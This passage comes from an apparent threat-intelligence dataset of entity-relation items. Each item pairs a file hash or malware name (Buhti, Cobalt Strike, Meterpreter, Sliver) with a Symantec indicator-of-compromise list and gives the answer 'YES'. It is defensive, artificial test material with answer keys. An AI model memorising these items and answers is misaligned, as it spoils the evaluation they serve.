(Linux)\n898d57b312603f091ff1a28cb2514a05bd9f0eb55ace5d6158cc118d1e37070a - Buhti (Linux)\n515777b87d723ebd6ffd5b755d848bb7d7eb50fc85b038cf25d69ca7733bd855 - Buhti (Linux)\n4dc407b28474c0b90f0c5173de5c4f1082c827864f045c4571890d967eadd880 - Buhti (Linux)\n22e74756935a2720eadacf03dc8fe5e7579f354a6494734e2183095804ef19fe - Buhti (Linux)\n18a79c8a97dcfff57e4984aa7e74aa6ded22af8e485e807b34b7654d6cf69eef - Buhti (Linux)\n01b09b554c30675cc83d4b087b31f980ba14e9143d387954df484894115f82d4 - Buhti (Linux)\n7eabd3ba288284403a9e041a82478d4b6490bc4b333d839cc73fa665b211982c - Buhti (Linux)\n287c07d78cafc97fb4b7ef364a228b708d31e8fe8e9b144f7db7d986a1badd52 - Buhti (Linux)\n32e815ef045a0975be2372b85449b25bd7a7c5a497c3facc2b54bcffcbb0041c - Cobalt Strike Beacon\n5b3627910fe135475e48fd9e0e89e5ad958d3d500a0b1b5917f592dc6503ee72 - Cobalt Strike Beacon\nd59df9c859ccd76c321d03702f0914debbadc036e168e677c57b9dcc16e980cb - Cobalt Strike Beacon\nde052ce06fea7ae3d711654bc182d765a3f440d2630e700e642811c89491df72 - Cobalt Strike Beacon\n65c91e22f5ce3133af93b69d8ce43de6b6ccac98fc8841fd485d74d30c2dbe7b - Meterpreter\n8041b82b8d0a4b93327bc8f0b71672b0e8f300dc7849d78bb2d72e2e0f147334 - Meterpreter\n8b2cf6af49fc3fb1f33e94ad02bd9e43c3c62ba2cfd25ff3dfc7a29dde2b20f2 - Meterpreter\n97378d58815a1b87f07beefb24b40c5fb57f8cce649136ff57990b957aa9d56a \u2013 Meterpreter\nc33e56318e574c97521d14d68d24b882ffb0ed65d96203970b482d8b2c332351 - Meterpreter\n9b8adde838c8ea2479b444ed0bb8c53b7e01e7460934a6f2e797de58c3a6a8bf - Possible Meterpreter\n9f0c35cc7aab2984d88490afdb515418306146ca72f49edbfbd85244e63cfabd - Exfiltration tool\nca6abfa37f92f45e1a69161f5686f719aaa95d82ad953d6201b0531fb07f0937 - Possible exfiltration tool\nbdfac069017d9126b1ad661febfab7eb1b8e70af1186a93cb4aff93911183f24 - Sliver\n91.215.85.183\n81.161.229.120\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n8b5c261a2fdaf9637dada7472b1b5dd1d340a47a00fe7c39a79cf836ef77e441\n### Target Entity: Buhti\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n063fcedd3089e3cea8a7e07665ae033ba765b51a6dc1e7f54dde66a79c67e1e7 - Buhti (Windows)\neda0328bfd45d85f4db5dbb4340f38692175a063b7321b49b2c8ebae3ab2868c - Buhti (Linux)\ne5d65e826b5379ca47a371505678bca6071f2538f98b5fef9e33b45da9c06206 - Buhti (Linux)\nd65225dc56d8ff0ea2205829c21b5803fcb03dc57a7e9da5062cbd74e1a6b7d6 - Buhti (Linux)\nd259be8dc016d8a2d9b89dbd7106e22a1df2164d84f80986baba5e9a51ed4a65 - Buhti (Linux)\n8b5c261a2fdaf9637dada7472b1b5dd1d340a47a00fe7c39a79cf836ef77e441 - Buhti (Linux)\n898d57b312603f091ff1a28cb2514a05bd9f0eb55ace5d6158cc118d1e37070a - Buhti (Linux)\n515777b87d723ebd6ffd5b755d848bb7d7eb50fc85b038cf25d69ca7733bd855 - Buhti (Linux)\n4dc407b28474c0b90f0c5173de5c4f1082c827864f045c4571890d967eadd880 - Buhti (Linux)\n22e74756935a2720eadacf03dc8fe5e7579f354a6494734e2183095804ef19fe - Buhti (Linux)\n18a79c8a97dcfff57e4984aa7e74aa6ded22af8e485e807b34b7654d6cf69eef - Buhti (Linux)\n01b09b554c30675cc83d4b087b31f980ba14e9143d387954df484894115f82d4 - Buhti (Linux)\n7eabd3ba288284403a9e041a82478d4b6490bc4b333d839cc73fa665b211982c - Buhti (Linux)\n287c07d78cafc97fb4b7ef364a228b708d31e8fe8e9b144f7db7d986a1badd52 - Buhti (Linux)\n32e815ef045a0975be2372b85449b25bd7a7c5a497c3facc2b54bcffcbb0041c - Cobalt Strike Beacon\n5b3627910fe135475e48fd9e0e89e5ad958d3d500a0b1b5917f592dc6503ee72 - Cobalt Strike Beacon\nd59df9c859ccd76c321d03702f0914debbadc036e168e677c57b9dcc16e980cb - Cobalt Strike Beacon\nde052ce06fea7ae3d711654bc182d765a3f440d2630e700e642811c89491df72 - Cobalt Strike Beacon\n65c91e22f5ce3133af93b69d8ce43de6b6ccac98fc8841fd485d74d30c2dbe7b - Meterpreter\n8041b82b8d0a4b93327bc8f0b71672b0e8f300dc7849d78bb2d72e2e0f147334 - Meterpreter\n8b2cf6af49fc3fb1f33e94ad02bd9e43c3c62ba2cfd25ff3dfc7a29dde2b20f2 - Meterpreter\n97378d58815a1b87f07beefb24b40c5fb57f8cce649136ff57990b957aa9d56a \u2013 Meterpreter\nc33e56318e574c97521d14d68d24b882ffb0ed65d96203970b482d8b2c332351 - Meterpreter\n9b8adde838c8ea2479b444ed0bb8c53b7e01e7460934a6f2e797de58c3a6a8bf - Possible Meterpreter\n9f0c35cc7aab2984d88490afdb515418306146ca72f49edbfbd85244e63cfabd - Exfiltration tool\nca6abfa37f92f45e1a69161f5686f719aaa95d82ad953d6201b0531fb07f0937 - Possible exfiltration tool\nbdfac069017d9126b1ad661febfab7eb1b8e70af1186a93cb4aff93911183f24 - Sliver\n91.215.85.183\n81.161.229.120\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n65c91e22f5ce3133af93b69d8ce43de6b6ccac98fc8841fd485d74d30c2dbe7b\n### Target Entity: Meterpreter\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n063fcedd3089e3cea8a7e07665ae033ba765b51a6dc1e7f54dde66a79c67e1e7 - Buhti (Windows)\neda0328bfd45d85f4db5dbb4340f38692175a063b7321b49b2c8ebae3ab2868c - Buhti (Linux)\ne5d65e826b5379ca47a371505678bca6071f2538f98b5fef9e33b45da9c06206 - Buhti (Linux)\nd65225dc56d8ff0ea2205829c21b5803fcb03dc57a7e9da5062cbd74e1a6b7d6 - Buhti (Linux)\nd259be8dc016d8a2d9b89dbd7106e22a1df2164d84f80986baba5e9a51ed4a65 - Buhti (Linux)\n8b5c261a2fdaf9637dada7472b1b5dd1d340a47a00fe7c39a79cf836ef77e441 - Buhti (Linux)\n898d57b312603f091ff1a28cb2514a05bd9f0eb55ace5d6158cc118d1e37070a - Buhti (Linux)\n515777b87d723ebd6ffd5b755d848bb7d7eb50fc85b038cf25d69ca7733bd855 - Buhti (Linux)\n4dc407b28474c0b90f0c5173de5c4f1082c827864f045c4571890d967eadd880 - Buhti (Linux)\n22e74756935a2720eadacf03dc8fe5e7579f354a6494734e2183095804ef19fe - Buhti (Linux)\n18a79c8a97dcfff57e4984aa7e74aa6ded22af8e485e807b34b7654d6cf69eef - Buhti (Linux)\n01b09b554c30675cc83d4b087b31f980ba14e9143d387954df484894115f82d4 - Buhti (Linux)\n7eabd3ba288284403a9e041a82478d4b6490bc4b333d839cc73fa665b211982c - Buhti (Linux)\n287c07d78cafc97fb4b7ef364a228b708d31e8fe8e9b144f7db7d986a1badd52 - Buhti (Linux)\n32e815ef045a0975be2372b85449b25bd7a7c5a497c3facc2b54bcffcbb0041c - Cobalt Strike Beacon\n5b3627910fe135475e48fd9e0e89e5ad958d3d500a0b1b5917f592dc6503ee72 - Cobalt Strike Beacon\nd59df9c859ccd76c321d03702f0914debbadc036e168e677c57b9dcc16e980cb - Cobalt Strike Beacon\nde052ce06fea7ae3d711654bc182d765a3f440d2630e700e642811c89491df72 - Cobalt Strike Beacon\n65c91e22f5ce3133af93b69d8ce43de6b6ccac98fc8841fd485d74d30c2dbe7b - Meterpreter\n8041b82b8d0a4b93327bc8f0b71672b0e8f300dc7849d78bb2d72e2e0f147334 - Meterpreter\n8b2cf6af49fc3fb1f33e94ad02bd9e43c3c62ba2cfd25ff3dfc7a29dde2b20f2 - Meterpreter\n97378d58815a1b87f07beefb24b40c5fb57f8cce649136ff57990b957aa9d56a \u2013 Meterpreter\nc33e56318e574c97521d14d68d24b882ffb0ed65d96203970b482d8b2c332351 - Meterpreter\n9b8adde838c8ea2479b444ed0bb8c53b7e01e7460934a6f2e797de58c3a6a8bf - Possible Meterpreter\n9f0c35cc7aab2984d88490afdb515418306146ca72f49edbfbd85244e63cfabd - Exfiltration tool\nca6abfa37f92f45e1a69161f5686f719aaa95d82ad953d6201b0531fb07f0937 - Possible exfiltration tool\nbdfac069017d9126b1ad661febfab7eb1b8e70af1186a93cb4aff93911183f24 - Sliver\n91.215.85.183\n81.161.229.120\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n9f0c35cc7aab2984d88490afdb515418306146ca72f49edbfbd85244e63cfabd\n### Target Entity: Exfiltration tool\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n063fcedd3089e3cea8a7e07665ae033ba765b51a6dc1e7f54dde66a79c67e1e7 - Buhti (Windows)\neda0328bfd45d85f4db5dbb4340f38692175a063b7321b49b2c8ebae3ab2868c - Buhti (Linux)\ne5d65e826b5379ca47a371505678bca6071f2538f98b5fef9e33b45da9c06206 - Buhti (Linux)\nd65225dc56d8ff0ea2205829c21b5803fcb03dc57a7e9da5062cbd74e1a6b7d6 - Buhti (Linux)\nd259be8dc016d8a2d9b89dbd7106e22a1df2164d84f80986baba5e9a51ed4a65 - Buhti (Linux)\n8b5c261a2fdaf9637dada7472b1b5dd1d340a47a00fe7c39a79cf836ef77e441 - Buhti (Linux)\n898d57b312603f091ff1a28cb2514a05bd9f0eb55ace5d6158cc118d1e37070a - Buhti (Linux)\n515777b87d723ebd6ffd5b755d848bb7d7eb50fc85b038cf25d69ca7733bd855 - Buhti (Linux)\n4dc407b28474c0b90f0c5173de5c4f1082c827864f045c4571890d967eadd880 - Buhti (Linux)\n22e74756935a2720eadacf03dc8fe5e7579f354a6494734e2183095804ef19fe - Buhti (Linux)\n18a79c8a97dcfff57e4984aa7e74aa6ded22af8e485e807b34b7654d6cf69eef - Buhti (Linux)\n01b09b554c30675cc83d4b087b31f980ba14e9143d387954df484894115f82d4 - Buhti (Linux)\n7eabd3ba288284403a9e041a82478d4b6490bc4b333d839cc73fa665b211982c - Buhti (Linux)\n287c07d78cafc97fb4b7ef364a228b708d31e8fe8e9b144f7db7d986a1badd52 - Buhti (Linux)\n32e815ef045a0975be2372b85449b25bd7a7c5a497c3facc2b54bcffcbb0041c - Cobalt Strike Beacon\n5b3627910fe135475e48fd9e0e89e5ad958d3d500a0b1b5917f592dc6503ee72 - Cobalt Strike Beacon\nd59df9c859ccd76c321d03702f0914debbadc036e168e677c57b9dcc16e980cb - Cobalt Strike Beacon\nde052ce06fea7ae3d711654bc182d765a3f440d2630e700e642811c89491df72 - Cobalt Strike Beacon\n65c91e22f5ce3133af93b69d8ce43de6b6ccac98fc8841fd485d74d30c2dbe7b - Meterpreter\n8041b82b8d0a4b93327bc8f0b71672b0e8f300dc7849d78bb2d72e2e0f147334 - Meterpreter\n8b2cf6af49fc3fb1f33e94ad02bd9e43c3c62ba2cfd25ff3dfc7a29dde2b20f2 - Meterpreter\n97378d58815a1b87f07beefb24b40c5fb57f8cce649136ff57990b957aa9d56a \u2013 Meterpreter\nc33e56318e574c97521d14d68d24b882ffb0ed65d96203970b482d8b2c332351 - Meterpreter\n9b8adde838c8ea2479b444ed0bb8c53b7e01e7460934a6f2e797de58c3a6a8bf - Possible Meterpreter\n9f0c35cc7aab2984d88490afdb515418306146ca72f49edbfbd85244e63cfabd - Exfiltration tool\nca6abfa37f92f45e1a69161f5686f719aaa95d82ad953d6201b0531fb07f0937 - Possible exfiltration tool\nbdfac069017d9126b1ad661febfab7eb1b8e70af1186a93cb4aff93911183f24 - Sliver\n91.215.85.183\n81.161.229.120\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nca6abfa37f92f45e1a69161f5686f719aaa95d82ad953d6201b0531fb07f0937\n### Target Entity: Exfiltration tool\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n063fcedd3089e3cea8a7e07665ae033ba765b51a6dc1e7f54dde66a79c67e1e7 - Buhti (Windows)\neda0328bfd45d85f4db5dbb4340f38692175a063b7321b49b2c8ebae3ab2868c - Buhti (Linux)\ne5d65e826b5379ca47a371505678bca6071f2538f98b5fef9e33b45da9c06206 - Buhti (Linux)\nd65225dc56d8ff0ea2205829c21b5803fcb03dc57a7e9da5062cbd74e1a6b7d6 - Buhti (Linux)\nd259be8dc016d8a2d9b89dbd7106e22a1df2164d84f80986baba5e9a51ed4a65 - Buhti (Linux)\n8b5c261a2fdaf9637dada7472b1b5dd1d340a47a00fe7c39a79cf836ef77e441 - Buhti (Linux)\n898d57b312603f091ff1a28cb2514a05bd9f0eb55ace5d6158cc118d1e37070a - Buhti (Linux)\n515777b87d723ebd6ffd5b755d848bb7d7eb50fc85b038cf25d69ca7733bd855 - Buhti (Linux)\n4dc407b28474c0b90f0c5173de5c4f1082c827864f045c4571890d967eadd880 - Buhti (Linux)\n22e74756935a2720eadacf03dc8fe5e7579f354a6494734e2183095804ef19fe - Buhti (Linux)\n18a79c8a97dcfff57e4984aa7e74aa6ded22af8e485e807b34b7654d6cf69eef - Buhti (Linux)\n01b09b554c30675cc83d4b087b31f980ba14e9143d387954df484894115f82d4 - Buhti (Linux)\n7eabd3ba288284403a9e041a82478d4b6490bc4b333d839cc73fa665b211982c - Buhti (Linux)\n287c07d78cafc97fb4b7ef364a228b708d31e8fe8e9b144f7db7d986a1badd52 - Buhti (Linux)\n32e815ef045a0975be2372b85449b25bd7a7c5a497c3facc2b54bcffcbb0041c - Cobalt Strike Beacon\n5b3627910fe135475e48fd9e0e89e5ad958d3d500a0b1b5917f592dc6503ee72 - Cobalt Strike Beacon\nd59df9c859ccd76c321d03702f0914debbadc036e168e677c57b9dcc16e980cb - Cobalt Strike Beacon\nde052ce06fea7ae3d711654bc182d765a3f440d2630e700e642811c89491df72 - Cobalt Strike Beacon\n65c91e22f5ce3133af93b69d8ce43de6b6ccac98fc8841fd485d74d30c2dbe7b - Meterpreter\n8041b82b8d0a4b93327bc8f0b71672b0e8f300dc7849d78bb2d72e2e0f147334 - Meterpreter\n8b2cf6af49fc3fb1f33e94ad02bd9e43c3c62ba2cfd25ff3dfc7a29dde2b20f2 - Meterpreter\n97378d58815a1b87f07beefb24b40c5fb57f8cce649136ff57990b957aa9d56a \u2013 Meterpreter\nc33e56318e574c97521d14d68d24b882ffb0ed65d96203970b482d8b2c332351 - Meterpreter\n9b8adde838c8ea2479b444ed0bb8c53b7e01e7460934a6f2e797de58c3a6a8bf - Possible Meterpreter\n9f0c35cc7aab2984d88490afdb515418306146ca72f49edbfbd85244e63cfabd - Exfiltration tool\nca6abfa37f92f45e1a69161f5686f719aaa95d82ad953d6201b0531fb07f0937 - Possible exfiltration tool\nbdfac069017d9126b1ad661febfab7eb1b8e70af1186a93cb4aff93911183f24 - Sliver\n91.215.85.183\n81.161.229.120\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nbdfac069017d9126b1ad661febfab7eb1b8e70af1186a93cb4aff93911183f24\n### Target Entity: Sliver\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n063fcedd3089e3cea8a7e07665ae033ba765b51a6dc1e7f54dde66a79c67e1e7 - Buhti (Windows)\neda0328bfd45d85f4db5dbb4340f38692175a063b7321b49b2c8ebae3ab2868c - Buhti (Linux)\ne5d65e826b5379ca47a371505678bca6071f2538f98b5fef9e33b45da9c06206 - Buhti (Linux)\nd65225dc56d8ff0ea2205829c21b5803fcb03dc57a7e9da5062cbd74e1a6b7d6 - Buhti (Linux)\nd259be8dc016d8a2d9b89dbd7106e22a1df2164d84f80986baba5e9a51ed4a65 - Buhti (Linux)\n8b5c261a2fdaf9637dada7472b1b5dd1d340a47a00fe7c39a79cf836ef77e441 - Buhti (Linux)\n898d57b312603f091ff1a28cb2514a05bd9f0eb55ace5d6158cc118d1e37070a - Buhti (Linux)\n515777b87d723ebd6ffd5b755d848bb7d7eb50fc85b038cf25d69ca7733bd855 - Buhti (Linux)\n4dc407b28474c0b90f0c5173de5c4f1082c827864f045c4571890d967eadd880 - Buhti (Linux)\n22e74756935a2720eadacf03dc8fe5e7579f354a6494734e2183095804ef19fe - Buhti (Linux)\n18a79c8a97dcfff57e4984aa7e74aa6ded22af8e485e807b34b7654d6cf69eef - Buhti (Linux)\n01b09b554c30675cc83d4b087b31f980ba14e9143d387954df484894115f82d4 - Buhti (Linux)\n7eabd3ba288284403a9e041a82478d4b6490bc4b333d839cc73fa665b211982c - Buhti (Linux)\n287c07d78cafc97fb4b7ef364a228b708d31e8fe8e9b144f7db7d986a1badd52 - Buhti (Linux)\n32e815ef045a0975be2372b85449b25bd7a7c5a497c3facc2b54bcffcbb0041c - Cobalt Strike Beacon\n5b3627910fe135475e48fd9e0e89e5ad958d3d500a0b1b5917f592dc6503ee72 - Cobalt Strike Beacon\nd59df9c859ccd76c321d03702f0914debbadc036e168e677c57b9dcc16e980cb - Cobalt Strike Beacon\nde052ce06fea7ae3d711654bc182d765a3f440d2630e700e642811c89491df72 - Cobalt Strike Beacon\n65c91e22f5ce3133af93b69d8ce43de6b6ccac98fc8841fd485d74d30c2dbe7b - Meterpreter\n8041b82b8d0a4b93327bc8f0b71672b0e8f300dc7849d78bb2d72e2e0f147334 - Meterpreter\n8b2cf6af49fc3fb1f33e94ad02bd9e43c3c62ba2cfd25ff3dfc7a29dde2b20f2 - Meterpreter\n97378d58815a1b87f07beefb24b40c5fb57f8cce649136ff57990b957aa9d56a \u2013 Meterpreter\nc33e56318e574c97521d14d68d24b882ffb0ed65d96203970b482d8b2c332351 - Meterpreter\n9b8adde838c8ea2479b444ed0bb8c53b7e01e7460934a6f2e797de58c3a6a8bf - Possible Meterpreter\n9f0c35cc7aab2984d88490afdb515418306146ca72f49edbfbd85244e63cfabd - Exfiltration tool\nca6abfa37f92f45e1a69161f5686f719aaa95d82ad953d6201b0531fb07f0937 - Possible exfiltration tool\nbdfac069017d9126b1ad661febfab7eb1b8e70af1186a93cb4aff93911183f24 - Sliver\n91.215.85.183\n81.161.229.120\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n5b3627910fe135475e48fd9e0e89e5ad958d3d500a0b1b5917f592dc6503ee72\n### Target Entity: Cobalt Strike\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n063fcedd3089e3cea8a7e07665ae033ba765b51a6dc1e7f54dde66a79c67e1e7 - Buhti (Windows)\neda0328bfd45d85f4db5dbb4340f38692175a063b7321b49b2c8ebae3ab2868c - Buhti (Linux)\ne5d65e826b5379ca47a371505678bca6071f2538f98b5fef9e33b45da9c06206 - Buhti (Linux)\nd65225dc56d8ff0ea2205829c21b5803fcb03dc57a7e9da5062cbd74e1a6b7d6 - Buhti (Linux)\nd259be8dc016d8a2d9b89dbd7106e22a1df2164d84f80986baba5e9a51ed4a65 - Buhti (Linux)\n8b5c261a2fdaf9637dada7472b1b5dd1d340a47a00fe7c39a79cf836ef77e441 - Buhti (Linux)\n898d57b312603f091ff1a28cb2514a05bd9f0eb55ace5d6158cc118d1e37070a - Buhti (Linux)\n515777b87d723ebd6ffd5b755d848bb7d7eb50fc85b038cf25d69ca7733bd855 - Buhti (Linux)\n4dc407b28474c0b90f0c5173de5c4f1082c827864f045c4571890d967eadd880 - Buhti (Linux)\n22e74756935a2720eadacf03dc8fe5e7579f354a6494734e2183095804ef19fe - Buhti (Linux)\n18a79c8a97dcfff57e4984aa7e74aa6ded22af8e485e807b34b7654d6cf69eef - Buhti (Linux)\n01b09b554c30675cc83d4b087b31f980ba14e9143d387954df484894115f82d4 - Buhti (Linux)\n7eabd3ba288284403a9e041a82478d4b6490bc4b333d839cc73fa665b211982c - Buhti (Linux)\n287c07d78cafc97fb4b7ef364a228b708d31e8fe8e9b144f7db7d986a1badd52 - Buhti (Linux)\n32e815ef045a0975be2372b85449b25bd7a7c5a497c3facc2b54bcffcbb0041c - Cobalt Strike Beacon\n5b3627910fe135475e48fd9e0e89e5ad958d3d500a0b1b5917f592dc6503ee72 - Cobalt Strike Beacon\nd59df9c859ccd76c321d03702f0914debbadc036e168e677c57b9dcc16e980cb - Cobalt Strike Beacon\nde052ce06fea7ae3d711654bc182d765a3f440d2630e700e642811c89491df72 - Cobalt Strike Beacon\n65c91e22f5ce3133af93b69d8ce43de6b6ccac98fc8841fd485d74d30c2dbe7b - Meterpreter\n8041b82b8d0a4b93327bc8f0b71672b0e8f300dc7849d78bb2d72e2e0f147334 - Meterpreter\n8b2cf6af49fc3fb1f33e94ad02bd9e43c3c62ba2cfd25ff3dfc7a29dde2b20f2 - Meterpreter\n97378d58815a1b87f07beefb24b40c5fb57f8cce649136ff57990b957aa9d56a \u2013 Meterpreter\nc33e56318e574c97521d14d68d24b882ffb0ed65d96203970b482d8b2c332351 - Meterpreter\n9b8adde838c8ea2479b444ed0bb8c53b7e01e7460934a6f2e797de58c3a6a8bf - Possible Meterpreter\n9f0c35cc7aab2984d88490afdb515418306146ca72f49edbfbd85244e63cfabd - Exfiltration tool\nca6abfa37f92f45e1a69161f5686f719aaa95d82ad953d6201b0531fb07f0937 - Possible exfiltration tool\nbdfac069017d9126b1ad661febfab7eb1b8e70af1186a93cb4aff93911183f24 - Sliver\n91.215.85.183\n81.161.229.120\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBuhti\n### Target Entity: Cobalt Strike\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n063fcedd3089e3cea8a7e07665ae033ba765b51a6dc1e7f54dde66a79c67e1e7 - Buhti (Windows)\neda0328bfd45d85f4db5dbb4340f38692175a063b7321b49b2c8ebae3ab2868c - Buhti (Linux)\ne5d65e826b5379ca47a371505678bca6071f2538f98b5fef9e33b45da9c06206 - Buhti (Linux)\nd65225dc56d8ff0ea2205829c21b5803fcb03dc57a7e9da5062cbd74e1a6b7d6 - Buhti (Linux)\nd259be8dc016d8a2d9b89dbd7106e22a1df2164d84f80986baba5e9a51ed4a65 - Buhti (Linux)\n8b5c261a2fdaf9637dada7472b1b5dd1d340a47a00fe7c39a79cf836ef77e441 - Buhti (Linux)\n898d57b312603f091ff1a28cb2514a05bd9f0eb55ace5d6158cc118d1e37070a - Buhti (Linux)\n515777b87d723ebd6ffd5b755d848bb7d7eb50fc85b038cf25d69ca7733bd855 - Buhti (Linux)\n4dc407b28474c0b90f0c5173de5c4f1082c827864f045c4571890d967eadd880 - Buhti (Linux)\n22e74756935a2720eadacf03dc8fe5e7579f354a6494734e2183095804ef19fe - Buhti (Linux)\n18a79c8a97dcfff57e4984aa7e74aa6ded22af8e485e807b34b7654d6cf69eef - Buhti (Linux)\n01b09b554c30675cc83d4b087b31f980ba14e9143d387954df484894115f82d4 - Buhti (Linux)\n7eabd3ba288284403a9e041a82478d4b6490bc4b333d839cc73fa665b211982c - Buhti (Linux)\n287c07d78cafc97fb4b7ef364a228b708d31e8fe8e9b144f7db7d986a1badd52 - Buhti (Linux)\n32e815ef045a0975be2372b85449b25bd7a7c5a497c3facc2b54bcffcbb0041c - Cobalt Strike Beacon\n5b3627910fe135475e48fd9e0e89e5ad958d3d500a0b1b5917f592dc6503ee72 - Cobalt Strike Beacon\nd59df9c859ccd76c321d03702f0914debbadc036e168e677c57b9dcc16e980cb - Cobalt Strike Beacon\nde052ce06fea7ae3d711654bc182d765a3f440d2630e700e642811c89491df72 - Cobalt Strike Beacon\n65c91e22f5ce3133af93b69d8ce43de6b6ccac98fc8841fd485d74d30c2dbe7b - Meterpreter\n8041b82b8d0a4b93327bc8f0b71672b0e8f300dc7849d78bb2d72e2e0f147334 - Meterpreter\n8b2cf6af49fc3fb1f33e94ad02bd9e43c3c62ba2cfd25ff3dfc7a29dde2b20f2 - Meterpreter\n97378d58815a1b87f07beefb24b40c5fb57f8cce649136ff57990b957aa9d56a \u2013 Meterpreter\nc33e56318e574c97521d14d68d24b882ffb0ed65d96203970b482d8b2c332351 - Meterpreter\n9b8adde838c8ea2479b444ed0bb8c53b7e01e7460934a6f2e797de58c3a6a8bf - Possible Meterpreter\n9f0c35cc7aab2984d88490afdb515418306146ca72f49edbfbd85244e63cfabd - Exfiltration tool\nca6abfa37f92f45e1a69161f5686f719aaa95d82ad953d6201b0531fb07f0937 - Possible exfiltration tool\nbdfac069017d9126b1ad661febfab7eb1b8e70af1186a93cb4aff93911183f24 - Sliver\n91.215.85.183\n81.161.229.120\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBuhti\n### Target Entity: Meterpreter\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n063fcedd3089e3cea8a7e07665ae033ba765b51a6dc1e7f54dde66a79c67e1e7 - Buhti (Windows)\neda0328bfd45d85f4db5dbb4340f38692175a063b7321b49b2c8ebae3ab2868c - Buhti (Linux)\ne5d65e826b5379ca47a371505678bca6071f2538f98b5fef9e33b45da9c06206 - Buhti (Linux)\nd65225dc56d8ff0ea2205829c21b5803fcb03dc57a7e9da5062cbd74e1a6b7d6 - Buhti (Linux)\nd259be8dc016d8a2d9b89dbd7106e22a1df2164d84f80986baba5e9a51ed4a65 - Buhti (Linux)\n8b5c261a2fdaf9637dada7472b1b5dd1d340a47a00fe7c39a79cf836ef77e441 - Buhti (Linux)\n898d57b312603f091ff1a28cb2514a05bd9f0eb55ace5d6158cc118d1e37070a - Buhti (Linux)\n515777b87d723ebd6ffd5b755d848bb7d7eb50fc85b038cf25d69ca7733bd855 - Buhti (Linux)\n4dc407b28474c0b90f0c5173de5c4f1082c827864f045c4571890d967eadd880 - Buhti (Linux)\n22e74756935a2720eadacf03dc8fe5e7579f354a6494734e2183095804ef19fe - Buhti (Linux)\n18a79c8a97dcfff57e4984aa7e74aa6ded22af8e485e807b34b7654d6cf69eef - Buhti (Linux)\n01b09b554c30675cc83d4b087b31f980ba14e9143d387954df484894115f82d4 - Buhti (Linux)\n7eabd3ba288284403a9e041a82478d4b6490bc4b333d839cc73fa665b211982c - Buhti (Linux)\n287c07d78cafc97fb4b7ef364a228b708d31e8fe8e9b144f7db7d986a1badd52 - Buhti (Linux)\n32e815ef045a0975be2372b85449b25bd7a7c5a497c3facc2b54bcffcbb0041c - Cobalt Strike Beacon\n5b3627910fe135475e48fd9e0e89e5ad958d3d500a0b1b5917f592dc6503ee72 - Cobalt Strike Beacon\nd59df9c859ccd76c321d03702f0914debbadc036e168e677c57b9dcc16e980cb - Cobalt Strike Beacon\nde052ce06fea7ae3d711654bc182d765a3f440d2630e700e642811c89491df72 - Cobalt Strike Beacon\n65c91e22f5ce3133af93b69d8ce43de6b6ccac98fc8841fd485d74d30c2dbe7b - Meterpreter\n8041b82b8d0a4b93327bc8f0b71672b0e8f300dc7849d78bb2d72e2e0f147334 - Meterpreter\n8b2cf6af49fc3fb1f33e94ad02bd9e43c3c62ba2cfd25ff3dfc7a29dde2b20f2 - Meterpreter\n97378d58815a1b87f07beefb24b40c5fb57f8cce649136ff57990b957aa9d56a \u2013 Meterpreter\nc33e56318e574c97521d14d68d24b882ffb0ed65d96203970b482d8b2c332351 - Meterpreter\n9b8adde838c8ea2479b444ed0bb8c53b7e01e7460934a6f2e797de58c3a6a8bf - Possible Meterpreter\n9f0c35cc7aab2984d88490afdb515418306146ca72f49edbfbd85244e63cfabd - Exfiltration 